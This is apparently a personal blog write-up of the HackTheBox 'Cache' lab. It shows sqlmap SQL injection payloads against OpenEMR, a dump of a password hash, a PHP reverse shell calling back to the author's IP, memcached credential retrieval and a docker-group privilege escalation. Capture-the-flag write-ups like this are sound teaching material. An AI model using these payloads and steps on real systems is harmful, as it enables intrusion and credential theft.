
Hi there ! Today's write-up is about Cache, a Medium Linux box, released on May 9th 2020 on HackTheBox.
Recon
First step is to gather information about the box, using Nmap.
$ nmap -A -p- -T4 10.10.10.188
Here is a bit of explanation about the options :
- -A : enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (--traceroute)
- -p- : nmap scans every port
- -T4 : allows you to adjust the Timing Template (according to your bandwidth, and the speed you're seeking)
The results are as follows :
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 21:22 CEST
Nmap scan report for 10.10.10.188
Host is up (0.077s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=5/29%OT=22%CT=1%CU=33644%PV=Y%DS=2%DC=T%G=Y%TM=5ED1618
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 110/tcp)
HOP RTT ADDRESS
1 88.86 ms 10.10.14.1
2 90.02 ms 10.10.10.188
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.65 seconds
There is nothing much there. Let's check the website.

On the author page, there is a link to cache.htb
. In order for it to work, you need to add the domain to your /etc/hosts
file. It needs to look like this:

First thing I found on the website is a javascript file with a plain password on the login page. If you use them, you'll get a page "in construction". But let's keep the credentials anyway.
ash:H@v3_fun

The next step is more a riddle than anything else.

After the link to Cache, and a short bio, there is another project like Cache : HMS.
What you need to understand here, is that there is another domain, named hms.htb
. Add it to the hosts file. It should now look like this.

First Access
Now when you navigate to hms.htb
, you'll get a login form. OpenEMR is a medical record managment software. So if we got an access to it, we could try to upload a reverseshell.

There is an OpenEMR vulnerability that wasn't hard to find. A step by step tutorial is available here : https://www.youtube.com/watch?v=DJSQ8Pk_7hc&feature=emb_title
For more detailed info, check out this documentation.
What you need to do is fire up Burpsuite, and capture the HTTP request as you navigate to : http://hms.htb/portal/add_edit_event_user.php?eid=1
.

Save the request as request.txt
, and let's use sqlmap.
┌─|Log_s [16:38] :~/Cyber/chall/machines/cacheOK
└──╼ $ sqlmap -r request.txt --threads=10 --dbs
___
__H__
___ ___[)]_____ ___ ___ {1.4.7#stable}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:45:04 /2020-08-29/
[16:45:04] [INFO] parsing HTTP request from 'request.txt'
[16:45:04] [INFO] resuming back-end DBMS 'mysql'
[16:45:04] [INFO] testing connection to the target URL
[16:45:04] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: eid=(SELECT (CASE WHEN (5166=5166) THEN 1 ELSE (SELECT 2501 UNION SELECT 8553) END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: eid=1 AND EXTRACTVALUE(1433,CONCAT(0x5c,0x716b626b71,(SELECT (ELT(1433=1433,1))),0x7171766271))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: eid=1 AND (SELECT 5501 FROM (SELECT(SLEEP(5)))BduS)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x716b626b71,0x79516e6d726448704b706679644b794b6d59536e5073556d50434f6365715243717864456c477668,0x7171766271),NULL-- -
---
[16:45:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[16:45:04] [INFO] fetching database names
[16:45:04] [INFO] starting 2 threads
[16:45:04] [INFO] resumed: 'information_schema'
[16:45:04] [INFO] resumed: 'openemr'
available databases [2]:
[*] information_schema
[*] openemr
[16:45:04] [INFO] fetched data logged to text files under '/home/leo/.local/share/sqlmap/output/hms.htb'
[*] ending @ 16:45:04 /2020-08-29/
There are to databases : information_schema
and openemr
.
Let's see what table openemr contains.
┌─|Log_s [16:45] :~/Cyber/chall/machines/cacheOK
└──╼ $ sqlmap -r request.txt --threads=10 -D openemr --tables
___
__H__
___ ___[.]_____ ___ ___ {1.4.7#stable}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:49:15 /2020-08-29/
[16:49:15] [INFO] parsing HTTP request from 'request.txt'
[16:49:16] [INFO] resuming back-end DBMS 'mysql'
[16:49:16] [INFO] testing connection to the target URL
[16:49:16] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: eid=(SELECT (CASE WHEN (5166=5166) THEN 1 ELSE (SELECT 2501 UNION SELECT 8553) END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: eid=1 AND EXTRACTVALUE(1433,CONCAT(0x5c,0x716b626b71,(SELECT (ELT(1433=1433,1))),0x7171766271))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: eid=1 AND (SELECT 5501 FROM (SELECT(SLEEP(5)))BduS)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x716b626b71,0x79516e6d726448704b706679644b794b6d59536e5073556d50434f6365715243717864456c477668,0x7171766271),NULL-- -
---
[16:49:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[16:49:16] [INFO] fetching tables for database: 'openemr'
[16:49:16] [INFO] starting 10 threads
Database: openemr
[234 tables]
+---------------------------------------+
| array |
| groups |
| sequences |
| version |
| addresses |
| amc_misc_data |
| amendments |
| amendments_history |
| ar_activity |
| ar_session |
| audit_details |
| audit_master |
| automatic_notification |
| background_services |
| batchcom |
| billing |
| calendar_external |
[...]
| therapy_groups_participants |
| transactions |
| user_settings |
| users |
| users_facility |
| users_secure |
| valueset |
| voids |
| x12_partners |
+---------------------------------------+
[16:49:16] [INFO] fetched data logged to text files under '/home/leo/.local/share/sqlmap/output/hms.htb'
[*] ending @ 16:49:16 /2020-08-29/
There are MANY tables. But the interesting ones are the one concerning users, and especially users_secure
. Let's dump it.
┌─|Log_s [16:49] :~/Cyber/chall/machines/cacheOK
└──╼ $ sqlmap -r request.txt --threads=10 -D openemr -T users_secure --dump
___
__H__
___ ___[.]_____ ___ ___ {1.4.7#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:51:41 /2020-08-29/
[16:51:41] [INFO] parsing HTTP request from 'request.txt'
[16:51:41] [INFO] resuming back-end DBMS 'mysql'
[16:51:41] [INFO] testing connection to the target URL
[16:51:41] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: eid=(SELECT (CASE WHEN (5166=5166) THEN 1 ELSE (SELECT 2501 UNION SELECT 8553) END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: eid=1 AND EXTRACTVALUE(1433,CONCAT(0x5c,0x716b626b71,(SELECT (ELT(1433=1433,1))),0x7171766271))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: eid=1 AND (SELECT 5501 FROM (SELECT(SLEEP(5)))BduS)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x716b626b71,0x79516e6d726448704b706679644b794b6d59536e5073556d50434f6365715243717864456c477668,0x7171766271),NULL-- -
---
[16:51:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[16:51:41] [INFO] fetching columns for table 'users_secure' in database 'openemr'
[16:51:41] [INFO] starting 9 threads
[16:51:41] [INFO] resumed: 'id','bigint(20)'
[16:51:41] [INFO] resumed: 'password','varchar(255)'
[16:51:41] [INFO] resumed: 'last_update','timestamp'
[16:51:41] [INFO] resumed: 'password_history1','varchar(255)'
[16:51:41] [INFO] resumed: 'password_history2','varchar(255)'
[16:51:41] [INFO] resumed: 'salt','varchar(255)'
[16:51:41] [INFO] resumed: 'salt_history2','varchar(255)'
[16:51:41] [INFO] resumed: 'username','varchar(255)'
[16:51:41] [INFO] resumed: 'salt_history1','varchar(255)'
[16:51:41] [INFO] fetching entries for table 'users_secure' in database 'openemr'
[16:51:41] [WARNING] reflective value(s) found and filtering out
Database: openemr
Table: users_secure
[1 entry]
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| id | salt | username | password | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
[16:51:41] [INFO] table 'openemr.users_secure' dumped to CSV file '/home/leo/.local/share/sqlmap/output/hms.htb/dump/openemr/users_secure.csv'
[16:51:41] [INFO] fetched data logged to text files under '/home/leo/.local/share/sqlmap/output/hms.htb'
[*] ending @ 16:51:41 /2020-08-29/
Oh what a surprise 🙂 a password hash. To crack it, you can use hachcat, or john the ripper. I'll use the second solution.
Use nano to store openemr_admin:$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.
into a file toCrack.hash
. Don't use echo, because it deforms the hash, and it's not readable by John.
$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt toCrack
It was easy to crack, since the password was : xxxxxx
.
openemr_admin:xxxxxx
Once we've connected as openemr_admin, we can access the files tab.

Next thing is to upload a reverse shell. I am using my favourite PHP reverse shell : https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Just modify the IP address (check your tun0 interface) and a forwarded port. In the example below, my IP is 10.10.14.128
and the port I use is 8888
.

Choose to upload an image and upload your reverse shell. There is no data verification, so no need to disguise our file.
Next you need to listen on the port you defined earlier (you can use rlwrap for a better experience).

Now that we're all set, just navigate to hms.htb/sites/default/images/reverseshell.php
. If everything went the way it supposes to, you'll get a shell. There is another way to achieve this, in a "cleaner" way, using this exploit : https://www.exploit-db.com/exploits/45161. But it's not the way I did it the first time, and there are other write-ups out there explaining this method.
Type in /usr/bin/script -qc /bin/bash /dev/null
to get a proper prompt.

Own User
The user part is pretty easy. Many people tend to reuse passwords. When listing the user home directories, I found ash/
and luffy/
. So I tried the credentials found before
www-data@cache:/$ su ash
su ash
Password: H@v3_fun
ash@cache:/$ whoami
whoami
ash
ash@cache:/$
Let's settle this part with a simple :
cat /home/ash/user.txt
Own Root
It's a bit tricky. I am used to having to compromise one user, and then to perform a privesc to root. In this case, we have to login as luffy first, to get the critical hint, and rights for the privesc.
After some enumeration, the netstat -tulp
command showed a few processes. After googling them, the one running on port 11211 is interesting. (write down that command, it's commonly used for enumeration).
Here is the set of commands I found on the internet :
ash@cache:/$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
get user
get user
VALUE user 0 5
luffy
END
get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
So here we get some new credentials for the other user, luffy.
luffy:0n3_p1ec3
We could use su
to connect as luffy, but in order to get a fully functional shell, we can connect through SSH (which was denied for ash).
┌─|Log_s [22:10] :~/Cyber/chall/machines/cacheOK
└──╼ $ ssh luffy@10.10.10.188
luffy@10.10.10.188's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-109-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Aug 30 20:17:08 UTC 2020
System load: 0.0 Processes: 236
Usage of /: 74.7% of 8.06GB Users logged in: 0
Memory usage: 25% IP address for ens160: 10.10.10.188
Swap usage: 0% IP address for docker0: 172.17.0.1
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
110 packages can be updated.
0 updates are security updates.
Last login: Wed May 6 08:54:44 2020 from 10.10.14.3
luffy@cache:~$
Once you figured you needed access to the other user in order to gain root access, the last step is pretty easy. Simple enumeration is enough to get all the info you need. The id
command reveals an interesting group : docker.
docker images
reveals that there is a docker running.
luffy@cache:~$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
luffy@cache:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 11 months ago 64.2MB
GTFOBins did the rest. Just search for docker, and you will get two ways of getting the flag. Or spawn a root shell, or read a file with root privileges. The first method is way easier.
Just a word about GTFOBins. If you don't know this website, make sure to check it out. It's one of the first resources you should use while enumerating. With a simple word, it sometimes comes up with ready to paste commands for privesc (that you half the time don't understand 🙂 ).
However, just copy-paste the command, and change the alpine image name with ours (ubuntu).

That's it for this write-up, I hope you enjoyed it and found it usefull 😉